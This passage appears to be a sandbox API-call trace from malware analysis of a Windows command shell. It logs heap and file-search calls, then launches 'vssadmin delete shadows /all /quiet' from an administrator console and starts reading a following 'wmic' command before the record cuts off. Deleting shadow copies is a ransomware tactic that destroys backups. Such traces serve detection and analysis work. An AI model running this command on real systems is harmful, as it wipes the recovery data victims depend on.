RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0x368) returned 0x2cd147e9040 [0040.611] GetProcessHeap () returned 0x2cd147d0000 [0040.611] RtlReAllocateHeap (Heap=0x2cd147d0000, Flags=0x0, Ptr=0x2cd147e9040, Size=0x1be) returned 0x2cd147e9040 [0040.611] GetProcessHeap () returned 0x2cd147d0000 [0040.611] RtlSizeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, MemoryPointer=0x2cd147e9040) returned 0x1be [0040.611] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff65307bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0040.611] GetProcessHeap () returned 0x2cd147d0000 [0040.611] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0xe8) returned 0x2cd147d6e00 [0040.612] GetProcessHeap () returned 0x2cd147d0000 [0040.612] RtlReAllocateHeap (Heap=0x2cd147d0000, Flags=0x0, Ptr=0x2cd147d6e00, Size=0x7e) returned 0x2cd147d6e00 [0040.613] GetProcessHeap () returned 0x2cd147d0000 [0040.613] RtlSizeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, MemoryPointer=0x2cd147d6e00) returned 0x7e [0040.613] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0040.613] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xe195f2ec10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe195f2ec10) returned 0xffffffffffffffff [0040.613] GetLastError () returned 0x2 [0040.613] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0040.613] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xe195f2ec10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe195f2ec10) returned 0xffffffffffffffff [0040.616] GetLastError () returned 0x2 [0040.616] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0040.616] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xe195f2ec10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe195f2ec10) returned 0x2cd147d6e90 [0040.616] GetProcessHeap () returned 0x2cd147d0000 [0040.616] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x0, Size=0x28) returned 0x2cd147d6ef0 [0040.617] FindClose (in: hFindFile=0x2cd147d6e90 | out: hFindFile=0x2cd147d6e90) returned 1 [0040.617] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0xe195f2ec10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe195f2ec10) returned 0xffffffffffffffff [0040.617] GetLastError () returned 0x2 [0040.617] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0xe195f2ec10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe195f2ec10) returned 0x2cd147d6e90 [0040.617] GetProcessHeap () returned 0x2cd147d0000 [0040.617] RtlReAllocateHeap (Heap=0x2cd147d0000, Flags=0x0, Ptr=0x2cd147d6ef0, Size=0x8) returned 0x2cd147d6ef0 [0040.617] FindClose (in: hFindFile=0x2cd147d6e90 | out: hFindFile=0x2cd147d6e90) returned 1 [0040.617] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0040.617] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0040.617] ??_V@YAXPEAX@Z () returned 0x1 [0040.617] GetConsoleTitleW (in: lpConsoleTitle=0xe195f2f190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0040.619] GetProcessHeap () returned 0x2cd147d0000 [0040.619] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0x21c) returned 0x2cd147e9210 [0040.619] GetConsoleTitleW (in: lpConsoleTitle=0x2cd147e9220, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0040.621] GetProcessHeap () returned 0x2cd147d0000 [0040.621] RtlReAllocateHeap (Heap=0x2cd147d0000, Flags=0x0, Ptr=0x2cd147e9210, Size=0xc2) returned 0x2cd147e9210 [0040.621] GetProcessHeap () returned 0x2cd147d0000 [0040.621] RtlSizeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, MemoryPointer=0x2cd147e9210) returned 0xc2 [0040.621] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0040.640] GetProcessHeap () returned 0x2cd147d0000 [0040.640] RtlFreeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, BaseAddress=0x2cd147e9210) returned 1 [0040.640] InitializeProcThreadAttributeList (in: lpAttributeList=0xe195f2f0b0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xe195f2efa0 | out: lpAttributeList=0xe195f2f0b0, lpSize=0xe195f2efa0) returned 1 [0040.640] UpdateProcThreadAttribute (in: lpAttributeList=0xe195f2f0b0, dwFlags=0x0, Attribute=0x60001, lpValue=0xe195f2ef8c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xe195f2f0b0, lpPreviousValue=0x0) returned 1 [0040.640] GetStartupInfoW (in: lpStartupInfo=0xe195f2f040 | out: lpStartupInfo=0xe195f2f040*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x27c, hStdOutput=0x288, hStdError=0x288)) [0040.640] GetProcessHeap () returned 0x2cd147d0000 [0040.640] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0x20) returned 0x2cd147d6e90 [0040.640] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0040.640] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0040.640] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0040.640] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0040.640] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0040.640] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0040.640] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0040.640] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0040.640] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0040.640] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0040.641] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0040.641] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0040.641] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0040.641] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0040.641] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0040.641] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0040.641] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0040.641] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0040.641] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0040.641] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0040.641] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0040.641] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0040.641] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0040.641] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0040.641] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0040.641] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0040.641] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0040.641] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0040.641] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0040.641] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0040.641] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0040.641] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0040.641] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0040.641] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0040.641] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0040.641] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0040.641] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0040.641] GetProcessHeap () returned 0x2cd147d0000 [0040.641] RtlFreeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, BaseAddress=0x2cd147d6e90) returned 1 [0040.641] GetProcessHeap () returned 0x2cd147d0000 [0040.641] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0x12) returned 0x2cd147d6f10 [0040.641] _get_osfhandle (_FileHandle=1) returned 0x288 [0040.641] SetConsoleMode (hConsoleHandle=0x288, dwMode=0x0) returned 0 [0040.641] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.641] SetConsoleMode (hConsoleHandle=0x27c, dwMode=0x0) returned 0 [0040.641] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0xe195f2efd0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe195f2efa8 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0xe195f2efa8*(hProcess=0x98, hThread=0x94, dwProcessId=0x1a4, dwThreadId=0xa34)) returned 1 [0040.799] CloseHandle (hObject=0x94) returned 1 [0040.800] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0040.800] GetProcessHeap () returned 0x2cd147d0000 [0040.800] RtlFreeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, BaseAddress=0x2cd147d8500) returned 1 [0040.800] GetEnvironmentStringsW () returned 0x2cd147d84e0* [0040.800] GetProcessHeap () returned 0x2cd147d0000 [0040.800] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0xacc) returned 0x2cd147e9530 [0040.800] FreeEnvironmentStringsA (penv="=") returned 1 [0040.800] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff931f40000 [0040.800] GetProcAddress (hModule=0x7ff931f40000, lpProcName="NtQueryInformationProcess") returned 0x7ff931fe56b0 [0040.800] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0xe195f2e4a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xe195f2e4a8, ReturnLength=0x0) returned 0x0 [0040.800] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0xeddf065000, lpBuffer=0xe195f2e4e0, nSize=0x7a0, lpNumberOfBytesRead=0xe195f2e4a0 | out: lpBuffer=0xe195f2e4e0*, lpNumberOfBytesRead=0xe195f2e4a0*=0x7a0) returned 1 [0040.800] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0044.211] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0xe195f2ef28 | out: lpExitCode=0xe195f2ef28*=0x2) returned 1 [0044.211] CloseHandle (hObject=0x98) returned 1 [0044.211] _vsnwprintf (in: _Buffer=0xe195f2f0f8, _BufferCount=0x13, _Format="%08X", _ArgList=0xe195f2ef38 | out: _Buffer="00000002") returned 8 [0044.211] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0044.211] GetProcessHeap () returned 0x2cd147d0000 [0044.211] RtlFreeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, BaseAddress=0x2cd147e9530) returned 1 [0044.211] GetEnvironmentStringsW () returned 0x2cd147e9530* [0044.212] GetProcessHeap () returned 0x2cd147d0000 [0044.212] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0xaf2) returned 0x2cd147ea030 [0044.212] FreeEnvironmentStringsA (penv="=") returned 1 [0044.212] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0044.212] GetProcessHeap () returned 0x2cd147d0000 [0044.212] RtlFreeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, BaseAddress=0x2cd147ea030) returned 1 [0044.212] GetEnvironmentStringsW () returned 0x2cd147e9530* [0044.212] GetProcessHeap () returned 0x2cd147d0000 [0044.212] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0xaf2) returned 0x2cd147ea030 [0044.212] FreeEnvironmentStringsA (penv="=") returned 1 [0044.212] GetProcessHeap () returned 0x2cd147d0000 [0044.212] RtlFreeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, BaseAddress=0x2cd147d6f10) returned 1 [0044.212] DeleteProcThreadAttributeList (in: lpAttributeList=0xe195f2f0b0 | out: lpAttributeList=0xe195f2f0b0) [0044.212] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0044.416] ??_V@YAXPEAX@Z () returned 0x1 [0044.416] _get_osfhandle (_FileHandle=1) returned 0x288 [0044.416] SetConsoleMode (hConsoleHandle=0x288, dwMode=0x0) returned 0 [0044.416] _get_osfhandle (_FileHandle=1) returned 0x288 [0044.416] GetConsoleMode (in: hConsoleHandle=0x288, lpMode=0x7ff65307fc08 | out: lpMode=0x7ff65307fc08) returned 0 [0044.416] _get_osfhandle (_FileHandle=0) returned 0x27c [0044.416] GetConsoleMode (in: hConsoleHandle=0x27c, lpMode=0x7ff65307fc0c | out: lpMode=0x7ff65307fc0c) returned 0 [0044.416] GetConsoleOutputCP () returned 0x1b5 [0044.437] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff65307fbb0 | out: lpCPInfo=0x7ff65307fbb0) returned 1 [0044.437] SetThreadUILanguage (LangId=0x0) returned 0x409 [0044.440] GetProcessHeap () returned 0x2cd147d0000 [0044.440] RtlFreeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, BaseAddress=0x2cd147d6e00) returned 1 [0044.440] GetProcessHeap () returned 0x2cd147d0000 [0044.440] RtlFreeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, BaseAddress=0x2cd147e9040) returned 1 [0044.440] GetProcessHeap () returned 0x2cd147d0000 [0044.440] RtlFreeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, BaseAddress=0x2cd147d6c30) returned 1 [0044.440] GetProcessHeap () returned 0x2cd147d0000 [0044.440] RtlFreeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, BaseAddress=0x2cd147e8fd0) returned 1 [0044.440] GetProcessHeap () returned 0x2cd147d0000 [0044.440] RtlFreeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, BaseAddress=0x2cd147d83e0) returned 1 [0044.440] GetProcessHeap () returned 0x2cd147d0000 [0044.440] RtlFreeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, BaseAddress=0x2cd147d8fe0) returned 1 [0044.440] GetProcessHeap () returned 0x2cd147d0000 [0044.440] RtlFreeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, BaseAddress=0x2cd147d1850) returned 1 [0044.440] GetProcessHeap () returned 0x2cd147d0000 [0044.440] RtlFreeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, BaseAddress=0x2cd147d6a80) returned 1 [0044.440] GetProcessHeap () returned 0x2cd147d0000 [0044.441] RtlFreeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, BaseAddress=0x2cd147d8320) returned 1 [0044.441] _vsnwprintf (in: _Buffer=0x7ff653087f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xe195f2f4d8 | out: _Buffer="\r\n") returned 2 [0044.441] _get_osfhandle (_FileHandle=1) returned 0x288 [0044.441] GetFileType (hFile=0x288) returned 0x3 [0044.441] _get_osfhandle (_FileHandle=1) returned 0x288 [0044.441] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff653079970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0044.441] WriteFile (in: hFile=0x288, lpBuffer=0x7ff653079970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xe195f2f4a8, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesWritten=0xe195f2f4a8*=0x2, lpOverlapped=0x0) returned 1 [0044.441] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff65307bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0044.441] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2cd149d0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.441] _vsnwprintf (in: _Buffer=0x2cd149e0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xe195f2f4e8 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23 [0044.441] _vsnwprintf (in: _Buffer=0x2cd149e008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0xe195f2f4e8 | out: _Buffer=">") returned 1 [0044.441] _get_osfhandle (_FileHandle=1) returned 0x288 [0044.441] GetFileType (hFile=0x288) returned 0x3 [0044.441] _get_osfhandle (_FileHandle=1) returned 0x288 [0044.441] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff653079970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25 [0044.441] WriteFile (in: hFile=0x288, lpBuffer=0x7ff653079970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xe195f2f4d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesWritten=0xe195f2f4d8*=0x18, lpOverlapped=0x0) returned 1 [0044.441] _get_osfhandle (_FileHandle=0) returned 0x27c [0044.441] GetFileType (hFile=0x27c) returned 0x3 [0044.441] _get_osfhandle (_FileHandle=0) returned 0x27c [0044.441] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.441] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0044.441] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c30, cchWideChar=1 | out: lpWideCharStr="wssadmin delete shadows /all /quiet\n") returned 1 [0044.441] _get_osfhandle (_FileHandle=0) returned 0x27c [0044.441] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.441] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0044.442] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c32, cchWideChar=1 | out: lpWideCharStr="msadmin delete shadows /all /quiet\n") returned 1 [0044.442] _get_osfhandle (_FileHandle=0) returned 0x27c [0044.442] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.442] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0044.442] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c34, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1 [0044.442] _get_osfhandle (_FileHandle=0) returned 0x27c [0044.442] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.442] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0044.442] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c36, cchWideChar=1 | out: lpWideCharStr="cdmin delete shadows /all /quiet\n") returned 1 [0044.442] _get_osfhandle (_FileHandle=0) returned 0x27c [0044.442] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.442] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0044.442] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c38, cchWideChar=1 | out: lpWideCharStr=" min delete shadows /all /quiet\n") returned 1 [0044.442] _get_osfhandle (_FileHandle=0) returned 0x27c [0044.442] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.442] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0044.442] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c3a, cchWideChar=1 | out: lpWideCharStr="sin delete shadows /all /quiet\n") returned 1 [0044.442] _get_osfhandle (_FileHandle=0) returned 0x27c [0044.442] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.442] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0044.442] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c3c, cchWideChar=1 | out: lpWideCharStr="hn delete shadows /all /quiet\n") returned 1 [0044.442] _get_osfhandle (_FileHandle=0) returned 0x27c [0044.442] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.442] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0044.442] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c3e, cchWideChar=1 | out: lpWideCharStr="a delete shadows /all /quiet\n") returned 1 [0044.442] _get_osfhandle (_FileHandle=0) returned 0x27c [0044.442] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.442] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0044.442] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c40, cchWideChar=1 | out: lpWideCharStr="ddelete shadows /all /quiet\n") returned 1 [0044.442] _get_osfhandle (_FileHandle=0) returned 0x27c [0044.442] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.443] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0044.443] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c42, cchWideChar=1 | out: lpWideCharStr="oelete shadows /all /quiet\n") returned 1 [0044.443] _get_osfhandle (_FileHandle=0) returned 0x27c [0044.443] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.443] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0044.443] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c44, cchWideChar=1 | out: lpWideCharStr="wlete shadows /all /quiet\n") returned 1 [0044.443] 